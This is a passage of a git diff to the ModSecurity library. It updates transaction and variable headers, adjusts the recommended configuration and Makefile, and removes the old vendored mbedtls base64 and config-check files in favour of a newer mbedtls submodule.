m_variableMultipartCrlfLFLines; AnchoredVariable m_variableMultipartDataAfter; AnchoredVariable m_variableMultipartDataBefore; + AnchoredVariable m_variableMultipartDuplicatePartHeader; AnchoredVariable m_variableMultipartFileLimitExceeded; AnchoredVariable m_variableMultipartHeaderFolding; AnchoredVariable m_variableMultipartInvalidHeaderFolding; @@ -277,6 +283,8 @@ class TransactionAnchoredVariables { AnchoredSetVariable m_variableFilesNames; AnchoredSetVariable m_variableFilesTmpContent; AnchoredSetVariable m_variableMultipartFileName; + AnchoredSetVariable m_variableMultipartFileNameCharset; + AnchoredSetVariable m_variableMultipartFileNameLanguage; AnchoredSetVariable m_variableMultipartName; AnchoredSetVariable m_variableMatchedVarsNames; AnchoredSetVariable m_variableMatchedVars; @@ -307,11 +315,8 @@ class TransactionSecMarkerManagement { } std::shared_ptr getCurrentMarker() const { - if (m_marker) { - return m_marker; - } else { - throw; - } + assert((m_marker != nullptr) && "You might have forgotten to call and evaluate isInsideAMarker() before calling getCurrentMarker()."); + return m_marker; } void removeMarker() { @@ -329,8 +334,8 @@ class TransactionSecMarkerManagement { /** @ingroup ModSecurity_CPP_API */ class Transaction : public TransactionAnchoredVariables, public TransactionSecMarkerManagement { public: - Transaction(ModSecurity *transaction, RulesSet *rules, void *logCbData); - Transaction(ModSecurity *transaction, RulesSet *rules, char *id, + Transaction(ModSecurity *ms, RulesSet *rules, void *logCbData); + Transaction(ModSecurity *ms, RulesSet *rules, const char *id, void *logCbData); ~Transaction(); @@ -393,6 +398,8 @@ class Transaction : public TransactionAnchoredVariables, public TransactionSecMa int processLogging(); int updateStatusCode(int status); + int setRequestHostName(const std::string& hostname); + bool intervention(ModSecurityIntervention *it); bool addArgument(const std::string& orig, const std::string& key, @@ -405,14 +412,14 @@ class Transaction : public TransactionAnchoredVariables, public TransactionSecMa size_t getRequestBodyLength(); #ifndef NO_LOGS - void debug(int, const std::string&) const; + void debug(int level, const std::string& message) const; #endif - void serverLog(std::shared_ptr rm); + void serverLog(const RuleMessage &rm); int getRuleEngineState() const; std::string toJSON(int parts); - std::string toOldAuditLogFormat(int parts, const std::string &trailer); + std::string toOldAuditLogFormat(int parts, const std::string &trailer, const std::string &header); std::string toOldAuditLogFormatIndex(const std::string &filename, double size, const std::string &md5); @@ -426,12 +433,12 @@ class Transaction : public TransactionAnchoredVariables, public TransactionSecMa * need to be filled if there is no rule using the variable * `duration'. */ - clock_t m_creationTimeStamp; + const clock_t m_creationTimeStamp; /** * Holds the client IP address. */ - std::shared_ptr m_clientIpAddress; + std::string m_clientIpAddress; /** * Holds the HTTP version: 1.2, 2.0, 3.0 and so on.... @@ -441,7 +448,12 @@ class Transaction : public TransactionAnchoredVariables, public TransactionSecMa /** * Holds the server IP Address */ - std::shared_ptr m_serverIpAddress; + std::string m_serverIpAddress; + + /** + * Holds the request's hostname + */ + std::string m_requestHostName; /** * Holds the raw URI that was requested. @@ -451,7 +463,7 @@ class Transaction : public TransactionAnchoredVariables, public TransactionSecMa /** * Holds the URI that was requests (without the query string). */ - std::shared_ptr m_uri_no_query_string_decoded; + std::string m_uri_no_query_string_decoded; /** * Holds the combined size of all arguments, later used to fill the @@ -500,7 +512,7 @@ class Transaction : public TransactionAnchoredVariables, public TransactionSecMa /** * Rules object utilized during this specific transaction. */ - RulesSet *m_rules; + RulesSet * const m_rules; /** * @@ -563,7 +575,7 @@ class Transaction : public TransactionAnchoredVariables, public TransactionSecMa * Contains the unique ID of the transaction. Use by the variable * `UNIQUE_ID'. This unique id is also saved as part of the AuditLog. */ - std::shared_ptr m_id; + const std::string m_id; /** * Holds the amount of rules that should be skipped. If bigger than 0 the @@ -589,13 +601,21 @@ class Transaction : public TransactionAnchoredVariables, public TransactionSecMa std::vector m_actions; ModSecurityIntervention m_it; + /** + * Sticky flag: set to true the first time the connector consumes a + * disruptive intervention via Transaction::intervention(). Unlike + * m_it.disruptive, this is NOT cleared by intervention::reset(), so + * it remains a reliable signal at audit-log time. + */ + bool m_isInterrupted = false; + /** * Holds the creation time stamp, using std::time. * * TODO: m_timeStamp and m_creationTimeStamp may be merged into a single * variable. */ - time_t m_timeStamp; + const time_t m_timeStamp; /** @@ -614,6 +634,7 @@ class Transaction : public TransactionAnchoredVariables, public TransactionSecMa RequestBodyProcessor::JSON *m_json; int m_secRuleEngine; + int m_secXMLParseXmlIntoArgs; std::string m_variableDuration; std::map m_variableEnvs; @@ -631,6 +652,10 @@ class Transaction : public TransactionAnchoredVariables, public TransactionSecMa std::vector> m_multipartPartTmpFiles; private: + + Transaction(ModSecurity *ms, RulesSet *rules, const char *id, + void *logCbData, const time_t timestamp); + /** * Pointer to the callback function that will be called to fill * the web server (connector) log. @@ -651,7 +676,7 @@ Transaction *msc_new_transaction(ModSecurity *ms, /** @ingroup ModSecurity_C_API */ Transaction *msc_new_transaction_with_id(ModSecurity *ms, - RulesSet *rules, char *id, void *logCbData); + RulesSet *rules, const char *id, void *logCbData); /** @ingroup ModSecurity_C_API */ int msc_process_connection(Transaction *transaction, @@ -704,7 +729,7 @@ int msc_process_uri(Transaction *transaction, const char *uri, const char *protocol, const char *http_version); /** @ingroup ModSecurity_C_API */ -const char *msc_get_response_body(Transaction *transaction); +const char *msc_get_response_body(const Transaction *transaction); /** @ingroup ModSecurity_C_API */ size_t msc_get_response_body_length(Transaction *transaction); @@ -718,12 +743,25 @@ void msc_transaction_cleanup(Transaction *transaction); /** @ingroup ModSecurity_C_API */ int msc_intervention(Transaction *transaction, ModSecurityIntervention *it); +/** @ingroup ModSecurity_C_API */ +void msc_intervention_cleanup(ModSecurityIntervention *it); + /** @ingroup ModSecurity_C_API */ int msc_process_logging(Transaction *transaction); /** @ingroup ModSecurity_C_API */ int msc_update_status_code(Transaction *transaction, int status); +/** @ingroup ModSecurity_C_API */ +int msc_set_request_hostname(Transaction *transaction, const unsigned char *hostname); + +/** @ingroup ModSecurity_C_API */ +size_t msc_get_rules_messages_size(const Transaction *transaction); + +/** @ingroup ModSecurity_C_API */ +size_t msc_get_rules_messages_rule_ids(const Transaction *transaction, + int64_t *ids, size_t ids_len); + #ifdef __cplusplus } } // namespace modsecurity diff --git a/headers/modsecurity/variable_origin.h b/headers/modsecurity/variable_origin.h index 80ec177b98..4bcab143c8 100644 --- a/headers/modsecurity/variable_origin.h +++ b/headers/modsecurity/variable_origin.h @@ -15,6 +15,7 @@ #ifdef __cplusplus #include +#include #endif #ifndef HEADERS_MODSECURITY_VARIABLE_ORIGIN_H_ @@ -36,14 +37,17 @@ class VariableOrigin { VariableOrigin() : m_length(0), m_offset(0) { } + VariableOrigin(size_t length, size_t offset) + : m_length(length), + m_offset(offset) { } - std::string toText() { - std::string offset = std::to_string(m_offset); - std::string len = std::to_string(m_length); + std::string toText() const { + const auto offset = std::to_string(m_offset); + const auto len = std::to_string(m_length); return "v" + offset + "," + len; } - int m_length; + size_t m_length; size_t m_offset; }; diff --git a/headers/modsecurity/variable_value.h b/headers/modsecurity/variable_value.h index f787177624..78f17217dd 100644 --- a/headers/modsecurity/variable_value.h +++ b/headers/modsecurity/variable_value.h @@ -1,6 +1,6 @@ /* * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -18,7 +18,7 @@ #include #include #include -#include +#include #include #endif @@ -37,7 +37,7 @@ namespace modsecurity { class Collection; class VariableValue { public: - using Origins = std::list>; + using Origins = std::vector; explicit VariableValue(const std::string *key, const std::string *value = nullptr) @@ -62,11 +62,9 @@ class VariableValue { m_keyWithCollection(o->m_keyWithCollection), m_value(o->m_value) { - for (auto &i : o->m_orign) { - std::unique_ptr origin(new VariableOrigin()); - origin->m_offset = i->m_offset; - origin->m_length = i->m_length; - m_orign.push_back(std::move(origin)); + reserveOrigin(o->m_orign.size()); + for (const auto &i : o->m_orign) { + addOrigin(i); } } @@ -98,8 +96,14 @@ class VariableValue { } - void addOrigin(std::unique_ptr origin) { - m_orign.push_back(std::move(origin)); + void addOrigin(const VariableOrigin &origin) { + m_orign.emplace_back(origin); + } + + + template + void addOrigin(Args&&... args) { + m_orign.emplace_back(args...); } @@ -107,6 +111,12 @@ class VariableValue { return m_orign; } + + void reserveOrigin(Origins::size_type additionalSize) { + m_orign.reserve(m_orign.size() + additionalSize); + } + + private: Origins m_orign; std::string m_collection; diff --git a/modsecurity.conf-recommended b/modsecurity.conf-recommended index 395d82cedc..bdc93ba67e 100644 --- a/modsecurity.conf-recommended +++ b/modsecurity.conf-recommended @@ -88,6 +88,7 @@ BQ %{MULTIPART_BOUNDARY_QUOTED}, \ BW %{MULTIPART_BOUNDARY_WHITESPACE}, \ DB %{MULTIPART_DATA_BEFORE}, \ DA %{MULTIPART_DATA_AFTER}, \ +DH %{MULTIPART_DUPLICATE_PART_HEADER}, \ HF %{MULTIPART_HEADER_FOLDING}, \ LF %{MULTIPART_LF_LINE}, \ SM %{MULTIPART_MISSING_SEMICOLON}, \ @@ -156,7 +157,7 @@ SecPcreMatchLimitRecursion 1000 # MSC_PCRE_LIMITS_EXCEEDED: PCRE match limits were exceeded. # SecRule TX:/^MSC_/ "!@streq 0" \ - "id:'200005',phase:2,t:none,deny,msg:'ModSecurity internal error flagged: %{MATCHED_VAR_NAME}'" + "id:'200005',phase:2,t:none,log,deny,msg:'ModSecurity internal error flagged: %{MATCHED_VAR_NAME}'" # -- Response body handling -------------------------------------------------- @@ -281,5 +282,7 @@ SecUnicodeMapFile unicode.mapping 20127 # The following information will be shared: ModSecurity version, # Web Server version, APR version, PCRE version, Lua version, Libxml2 # version, Anonymous unique id for host. -SecStatusEngine On +# NB: As of April 2022, there is no longer any advantage to turning this +# setting On, as there is no active receiver for the information. +SecStatusEngine Off diff --git a/modsecurity.pc.in b/modsecurity.pc.in index 96cdf5ca79..d00ad644fa 100644 --- a/modsecurity.pc.in +++ b/modsecurity.pc.in @@ -8,4 +8,4 @@ Description: ModSecurity API Version: @MSC_VERSION_WITH_PATCHLEVEL@ Cflags: -I@includedir@ Libs: -L@libdir@ -lmodsecurity -Libs.private: @CURL_LDADD@ @GEOIP_LDADD@ @MAXMIND_LDADD@ @GLOBAL_LDADD@ @LIBXML2_LDADD@ @LMDB_LDADD@ @LUA_LDADD@ @PCRE_LDADD@ @SSDEEP_LDADD@ @YAJL_LDADD@ +Libs.private: @CURL_LDADD@ @GEOIP_LDADD@ @MAXMIND_LDADD@ @GLOBAL_LDADD@ @LIBXML2_LDADD@ @LMDB_LDADD@ @LUA_LDADD@ @PCRE_LDADD@ @PCRE2_LDADD@ @SSDEEP_LDADD@ @YAJL_LDADD@ diff --git a/others/Makefile.am b/others/Makefile.am index 7501d55899..3217fd7af8 100644 --- a/others/Makefile.am +++ b/others/Makefile.am @@ -1,28 +1,40 @@ noinst_LTLIBRARIES = libinjection.la libmbedtls.la + libinjection_la_SOURCES = \ libinjection/src/libinjection_html5.c \ libinjection/src/libinjection_sqli.c \ libinjection/src/libinjection_xss.c +libinjection_la_CFLAGS = -D LIBINJECTION_VERSION=\"${LIBINJECTION_VERSION}\" +libinjection_la_LIBADD = + noinst_HEADERS = \ libinjection/src/libinjection.h \ libinjection/src/libinjection_html5.h \ libinjection/src/libinjection_sqli.h \ libinjection/src/libinjection_sqli_data.h \ libinjection/src/libinjection_xss.h \ - mbedtls/base64.h \ - mbedtls/check_config.h \ - mbedtls/mbed-tls-config.h \ - mbedtls/md5.h \ - mbedtls/platform.h \ - mbedtls/sha1.h + libinjection/src/libinjection_error.h \ + mbedtls/tf-psa-crypto/include/mbedtls/base64.h \ + mbedtls/tf-psa-crypto/core/check_crypto_config.h \ + mbedtls/include/mbedtls/mbedtls_config.h \ + mbedtls/tf-psa-crypto/include/mbedtls/md.h \ + mbedtls/tf-psa-crypto/include/mbedtls/platform.h libmbedtls_la_SOURCES = \ - mbedtls/base64.c \ - mbedtls/md5.c \ - mbedtls/sha1.c + mbedtls/tf-psa-crypto/utilities/base64.c \ + mbedtls/tf-psa-crypto/utilities/constant_time.c \ + mbedtls/tf-psa-crypto/platform/platform_util.c \ + mbedtls/tf-psa-crypto/extras/md.c \ + mbedtls/tf-psa-crypto/drivers/builtin/src/md5.c \ + mbedtls/tf-psa-crypto/drivers/builtin/src/sha1.c \ + mbedtls/tf-psa-crypto/drivers/builtin/src/sha256.c \ + mbedtls/tf-psa-crypto/drivers/builtin/src/sha512.c \ + mbedtls/tf-psa-crypto/drivers/builtin/src/sha3.c \ + mbedtls/tf-psa-crypto/drivers/builtin/src/ripemd160.c \ + mbedtls/tf-psa-crypto/drivers/builtin/src/psa_util_internal.c -libmbedtls_la_CFLAGS = -D MBEDTLS_CONFIG_FILE=\"mbed-tls-config.h\" -Iothers +libmbedtls_la_CFLAGS = -DMBEDTLS_CONFIG_FILE=\"mbedtls/mbedtls_config.h\" -I$(top_srcdir)/others/mbedtls/include -I$(top_srcdir)/others/mbedtls/tf-psa-crypto/include -I$(top_srcdir)/others/mbedtls/tf-psa-crypto/core -I$(top_srcdir)/others/mbedtls/tf-psa-crypto/extras -I$(top_srcdir)/others/mbedtls/tf-psa-crypto/library -I$(top_srcdir)/others/mbedtls/tf-psa-crypto/utilities -I$(top_srcdir)/others/mbedtls/tf-psa-crypto/drivers/builtin/include -I$(top_srcdir)/others/mbedtls/tf-psa-crypto/drivers/builtin/src libmbedtls_la_CPPFLAGS = libmbedtls_la_LIBADD = diff --git a/others/libinjection b/others/libinjection index bfba51f5af..2117822196 160000 --- a/others/libinjection +++ b/others/libinjection @@ -1 +1 @@ -Subproject commit bfba51f5af8f1f6cf5d6c4bf862f1e2474e018e3 +Subproject commit 211782219663f889f471650150df12b623c5766e diff --git a/others/mbedtls b/others/mbedtls new file mode 160000 index 0000000000..0fe989b6b5 --- /dev/null +++ b/others/mbedtls @@ -0,0 +1 @@ +Subproject commit 0fe989b6b514192783c469039edd325fd0989806 diff --git a/others/mbedtls/base64.c b/others/mbedtls/base64.c deleted file mode 100644 index db8c230766..0000000000 --- a/others/mbedtls/base64.c +++ /dev/null @@ -1,289 +0,0 @@ -/* - * RFC 1521 base64 encoding/decoding - * - * Copyright (C) 2006-2015, ARM Limited, All Rights Reserved - * SPDX-License-Identifier: Apache-2.0 - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may - * not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT - * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - * This file is part of mbed TLS (https://tls.mbed.org) - */ - -#if !defined(MBEDTLS_CONFIG_FILE) -#include "mbedtls/config.h" -#else -#include MBEDTLS_CONFIG_FILE -#endif - -#if defined(MBEDTLS_BASE64_C) - -#include "mbedtls/base64.h" - -#include - -#if defined(MBEDTLS_SELF_TEST) -#include -#if defined(MBEDTLS_PLATFORM_C) -#include "mbedtls/platform.h" -#else -#include -#define mbedtls_printf printf -#endif /* MBEDTLS_PLATFORM_C */ -#endif /* MBEDTLS_SELF_TEST */ - -static const unsigned char base64_enc_map[64] = -{ - 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', - 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', - 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', - 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', - 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', - 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', - '8', '9', '+', '/' -}; - -static const unsigned char base64_dec_map[128] = -{ - 127, 127, 127, 127, 127, 127, 127, 127, 127, 127, - 127, 127, 127, 127, 127, 127, 127, 127, 127, 127, - 127, 127, 127, 127, 127, 127, 127, 127, 127, 127, - 127, 127, 127, 127, 127, 127, 127, 127, 127, 127, - 127, 127, 127, 62, 127, 127, 127, 63, 52, 53, - 54, 55, 56, 57, 58, 59, 60, 61, 127, 127, - 127, 64, 127, 127, 127, 0, 1, 2, 3, 4, - 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, - 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, - 25, 127, 127, 127, 127, 127, 127, 26, 27, 28, - 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, - 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, - 49, 50, 51, 127, 127, 127, 127, 127 -}; - -#define BASE64_SIZE_T_MAX ( (size_t) -1 ) /* SIZE_T_MAX is not standard */ - -/* - * Encode a buffer into base64 format - */ -int mbedtls_base64_encode( unsigned char *dst, size_t dlen, size_t *olen, - const unsigned char *src, size_t slen ) -{ - size_t i, n; - int C1, C2, C3; - unsigned char *p; - - if( slen == 0 ) - { - *olen = 0; - return( 0 ); - } - - n = slen / 3 + ( slen % 3 != 0 ); - - if( n > ( BASE64_SIZE_T_MAX - 1 ) / 4 ) - { - *olen = BASE64_SIZE_T_MAX; - return( MBEDTLS_ERR_BASE64_BUFFER_TOO_SMALL ); - } - - n *= 4; - - if( dlen < n + 1 ) - { - *olen = n + 1; - return( MBEDTLS_ERR_BASE64_BUFFER_TOO_SMALL ); - } - - n = ( slen / 3 ) * 3; - - for( i = 0, p = dst; i < n; i += 3 ) - { - C1 = *src++; - C2 = *src++; - C3 = *src++; - - *p++ = base64_enc_map[(C1 >> 2) & 0x3F]; - *p++ = base64_enc_map[(((C1 & 3) << 4) + (C2 >> 4)) & 0x3F]; - *p++ = base64_enc_map[(((C2 & 15) << 2) + (C3 >> 6)) & 0x3F]; - *p++ = base64_enc_map[C3 & 0x3F]; - } - - if( i < slen ) - { - C1 = *src++; - C2 = ( ( i + 1 ) < slen ) ? *src++ : 0; - - *p++ = base64_enc_map[(C1 >> 2) & 0x3F]; - *p++ = base64_enc_map[(((C1 & 3) << 4) + (C2 >> 4)) & 0x3F]; - - if( ( i + 1 ) < slen ) - *p++ = base64_enc_map[((C2 & 15) << 2) & 0x3F]; - else *p++ = '='; - - *p++ = '='; - } - - *olen = p - dst; - *p = 0; - - return( 0 ); -} - -/* - * Decode a base64-formatted buffer - */ -int mbedtls_base64_decode( unsigned char *dst, size_t dlen, size_t *olen, - const unsigned char *src, size_t slen ) -{ - size_t i, n; - uint32_t j, x; - unsigned char *p; - - /* First pass: check for validity and get output length */ - for( i = n = j = 0; i < slen; i++ ) - { - /* Skip spaces before checking for EOL */ - x = 0; - while( i < slen && src[i] == ' ' ) - { - ++i; - ++x; - } - - /* Spaces at end of buffer are OK */ - if( i == slen ) - break; - - if( ( slen - i ) >= 2 && - src[i] == '\r' && src[i + 1] == '\n' ) - continue; - - if( src[i] == '\n' ) - continue; - - /* Space inside a line is an error */ - if( x != 0 ) - return( MBEDTLS_ERR_BASE64_INVALID_CHARACTER ); - - if( src[i] == '=' && ++j > 2 ) - return( MBEDTLS_ERR_BASE64_INVALID_CHARACTER ); - - if( src[i] > 127 || base64_dec_map[src[i]] == 127 ) - return( MBEDTLS_ERR_BASE64_INVALID_CHARACTER ); - - if( base64_dec_map[src[i]] < 64 && j != 0 ) - return( MBEDTLS_ERR_BASE64_INVALID_CHARACTER ); - - n++; - } - - if( n == 0 ) - { - *olen = 0; - return( 0 ); - } - - n = ( ( n * 6 ) + 7 ) >> 3; - n -= j; - - if( dst == NULL || dlen < n ) - { - *olen = n; - return( MBEDTLS_ERR_BASE64_BUFFER_TOO_SMALL ); - } - - for( j = 3, n = x = 0, p = dst; i > 0; i--, src++ ) - { - if( *src == '\r' || *src == '\n' || *src == ' ' ) - continue; - - j -= ( base64_dec_map[*src] == 64 ); - x = ( x << 6 ) | ( base64_dec_map[*src] & 0x3F ); - - if( ++n == 4 ) - { - n = 0; - if( j > 0 ) *p++ = (unsigned char)( x >> 16 ); - if( j > 1 ) *p++ = (unsigned char)( x >> 8 ); - if( j > 2 ) *p++ = (unsigned char)( x ); - } - } - - *olen = p - dst; - - return( 0 ); -} - -#if defined(MBEDTLS_SELF_TEST) - -static const unsigned char base64_test_dec[64] = -{ - 0x24, 0x48, 0x6E, 0x56, 0x87, 0x62, 0x5A, 0xBD, - 0xBF, 0x17, 0xD9, 0xA2, 0xC4, 0x17, 0x1A, 0x01, - 0x94, 0xED, 0x8F, 0x1E, 0x11, 0xB3, 0xD7, 0x09, - 0x0C, 0xB6, 0xE9, 0x10, 0x6F, 0x22, 0xEE, 0x13, - 0xCA, 0xB3, 0x07, 0x05, 0x76, 0xC9, 0xFA, 0x31, - 0x6C, 0x08, 0x34, 0xFF, 0x8D, 0xC2, 0x6C, 0x38, - 0x00, 0x43, 0xE9, 0x54, 0x97, 0xAF, 0x50, 0x4B, - 0xD1, 0x41, 0xBA, 0x95, 0x31, 0x5A, 0x0B, 0x97 -}; - -static const unsigned char base64_test_enc[] = - "JEhuVodiWr2/F9mixBcaAZTtjx4Rs9cJDLbpEG8i7hPK" - "swcFdsn6MWwINP+Nwmw4AEPpVJevUEvRQbqVMVoLlw=="; - -/* - * Checkup routine - */ -int mbedtls_base64_self_test( int verbose ) -{ - size_t len; - const unsigned char *src; - unsigned char buffer[128]; - - if( verbose != 0 ) - mbedtls_printf( " Base64 encoding test: " ); - - src = base64_test_dec; - - if( mbedtls_base64_encode( buffer, sizeof( buffer ), &len, src, 64 ) != 0 || - memcmp( base64_test_enc, buffer, 88 ) != 0 ) - { - if( verbose != 0 ) - mbedtls_printf( "failed\n" ); - - return( 1 ); - } - - if( verbose != 0 ) - mbedtls_printf( "passed\n Base64 decoding test: " ); - - src = base64_test_enc; - - if( mbedtls_base64_decode( buffer, sizeof( buffer ), &len, src, 88 ) != 0 || - memcmp( base64_test_dec, buffer, 64 ) != 0 ) - { - if( verbose != 0 ) - mbedtls_printf( "failed\n" ); - - return( 1 ); - } - - if( verbose != 0 ) - mbedtls_printf( "passed\n\n" ); - - return( 0 ); -} - -#endif /* MBEDTLS_SELF_TEST */ - -#endif /* MBEDTLS_BASE64_C */ \ No newline at end of file diff --git a/others/mbedtls/base64.h b/others/mbedtls/base64.h deleted file mode 100644 index ef227871b2..0000000000 --- a/others/mbedtls/base64.h +++ /dev/null @@ -1,88 +0,0 @@ -/** - * \file base64.h - * - * \brief RFC 1521 base64 encoding/decoding - * - * Copyright (C) 2006-2015, ARM Limited, All Rights Reserved - * SPDX-License-Identifier: Apache-2.0 - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may - * not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT - * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - * This file is part of mbed TLS (https://tls.mbed.org) - */ -#ifndef MBEDTLS_BASE64_H -#define MBEDTLS_BASE64_H - -#include - -#define MBEDTLS_ERR_BASE64_BUFFER_TOO_SMALL -0x002A /**< Output buffer too small. */ -#define MBEDTLS_ERR_BASE64_INVALID_CHARACTER -0x002C /**< Invalid character in input. */ - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * \brief Encode a buffer into base64 format - * - * \param dst destination buffer - * \param dlen size of the destination buffer - * \param olen number of bytes written - * \param src source buffer - * \param slen amount of data to be encoded - * - * \return 0 if successful, or MBEDTLS_ERR_BASE64_BUFFER_TOO_SMALL. - * *olen is always updated to reflect the amount - * of data that has (or would have) been written. - * If that length cannot be represented, then no data is - * written to the buffer and *olen is set to the maximum - * length representable as a size_t. - * - * \note Call this function with dlen = 0 to obtain the - * required buffer size in *olen - */ -int mbedtls_base64_encode( unsigned char *dst, size_t dlen, size_t *olen, - const unsigned char *src, size_t slen ); - -/** - * \brief Decode a base64-formatted buffer - * - * \param dst destination buffer (can be NULL for checking size) - * \param dlen size of the destination buffer - * \param olen number of bytes written - * \param src source buffer - * \param slen amount of data to be decoded - * - * \return 0 if successful, MBEDTLS_ERR_BASE64_BUFFER_TOO_SMALL, or - * MBEDTLS_ERR_BASE64_INVALID_CHARACTER if the input data is - * not correct. *olen is always updated to reflect the amount - * of data that has (or would have) been written. - * - * \note Call this function with *dst = NULL or dlen = 0 to obtain - * the required buffer size in *olen - */ -int mbedtls_base64_decode( unsigned char *dst, size_t dlen, size_t *olen, - const unsigned char *src, size_t slen ); - -/** - * \brief Checkup routine - * - * \return 0 if successful, or 1 if the test failed - */ -int mbedtls_base64_self_test( int verbose ); - -#ifdef __cplusplus -} -#endif - -#endif /* base64.h */ \ No newline at end of file diff --git a/others/mbedtls/check_config.h b/others/mbedtls/check_config.h deleted file mode 100644 index b6448ecef9..0000000000 --- a/others/mbedtls/check_config.h +++ /dev/null @@ -1,540 +0,0 @@ -/** - * \file check_config.h - * - * \brief Consistency checks for configuration options - * - * Copyright (C) 2006-2015, ARM Limited, All Rights Reserved - * SPDX-License-Identifier: Apache-2.0 - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may - * not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT - * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - * This file is part of mbed TLS (https://tls.mbed.org) - */ - -/* - * It is recommended to include this file from your config.h - * in order to catch dependency issues early. - */ - -#ifndef MBEDTLS_CHECK_CONFIG_H -#define MBEDTLS_CHECK_CONFIG_H - -/* - * We assume CHAR_BIT is 8 in many places. In practice, this is true on our - * target platforms, so not an issue, but let's just be extra sure. - */ -#include -#if CHAR_BIT != 8 -#error "mbed TLS requires a platform with 8-bit chars" -#endif - -#if defined(_WIN32) -#if !defined(MBEDTLS_PLATFORM_C) -#error "MBEDTLS_PLATFORM_C is required on Windows" -#endif - -/* Fix the config here. Not convenient to put an #ifdef _WIN32 in config.h as - * it would confuse config.pl. */ -#if !defined(MBEDTLS_PLATFORM_SNPRINTF_ALT) && \ - !defined(MBEDTLS_PLATFORM_SNPRINTF_MACRO) -#define MBEDTLS_PLATFORM_SNPRINTF_ALT -#endif -#endif /* _WIN32 */ - -#if defined(TARGET_LIKE_MBED) && \ - ( defined(MBEDTLS_NET_C) || defined(MBEDTLS_TIMING_C) ) -#error "The NET and TIMING modules are not available for mbed OS - please use the network and timing functions provided by mbed OS" -#endif - -#if defined(MBEDTLS_DEPRECATED_WARNING) && \ - !defined(__GNUC__) && !defined(__clang__) -#error "MBEDTLS_DEPRECATED_WARNING only works with GCC and Clang" -#endif - -#if defined(MBEDTLS_HAVE_TIME_DATE) && !defined(MBEDTLS_HAVE_TIME) -#error "MBEDTLS_HAVE_TIME_DATE without MBEDTLS_HAVE_TIME does not make sense" -#endif - -#if defined(MBEDTLS_AESNI_C) && !defined(MBEDTLS_HAVE_ASM) -#error "MBEDTLS_AESNI_C defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_CTR_DRBG_C) && !defined(MBEDTLS_AES_C) -#error "MBEDTLS_CTR_DRBG_C defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_DHM_C) && !defined(MBEDTLS_BIGNUM_C) -#error "MBEDTLS_DHM_C defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_ECDH_C) && !defined(MBEDTLS_ECP_C) -#error "MBEDTLS_ECDH_C defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_ECDSA_C) && \ - ( !defined(MBEDTLS_ECP_C) || \ - !defined(MBEDTLS_ASN1_PARSE_C) || \ - !defined(MBEDTLS_ASN1_WRITE_C) ) -#error "MBEDTLS_ECDSA_C defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_ECJPAKE_C) && \ - ( !defined(MBEDTLS_ECP_C) || !defined(MBEDTLS_MD_C) ) -#error "MBEDTLS_ECJPAKE_C defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_ECDSA_DETERMINISTIC) && !defined(MBEDTLS_HMAC_DRBG_C) -#error "MBEDTLS_ECDSA_DETERMINISTIC defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_ECP_C) && ( !defined(MBEDTLS_BIGNUM_C) || ( \ - !defined(MBEDTLS_ECP_DP_SECP192R1_ENABLED) && \ - !defined(MBEDTLS_ECP_DP_SECP224R1_ENABLED) && \ - !defined(MBEDTLS_ECP_DP_SECP256R1_ENABLED) && \ - !defined(MBEDTLS_ECP_DP_SECP384R1_ENABLED) && \ - !defined(MBEDTLS_ECP_DP_SECP521R1_ENABLED) && \ - !defined(MBEDTLS_ECP_DP_BP256R1_ENABLED) && \ - !defined(MBEDTLS_ECP_DP_BP384R1_ENABLED) && \ - !defined(MBEDTLS_ECP_DP_BP512R1_ENABLED) && \ - !defined(MBEDTLS_ECP_DP_SECP192K1_ENABLED) && \ - !defined(MBEDTLS_ECP_DP_SECP224K1_ENABLED) && \ - !defined(MBEDTLS_ECP_DP_SECP256K1_ENABLED) ) ) -#error "MBEDTLS_ECP_C defined, but not all prerequisites" -#endif - -#if defined(MBEDTLS_ENTROPY_C) && (!defined(MBEDTLS_SHA512_C) && \ - !defined(MBEDTLS_SHA256_C)) -#error "MBEDTLS_ENTROPY_C defined, but not all prerequisites" -#endif -#if defined(MBEDTLS_ENTROPY_C) && defined(MBEDTLS_SHA512_C) && \ - defined(MBEDTLS_CTR_DRBG_ENTROPY_LEN) && (MBEDTLS_CTR_DRBG_ENTROPY_LEN > 64) 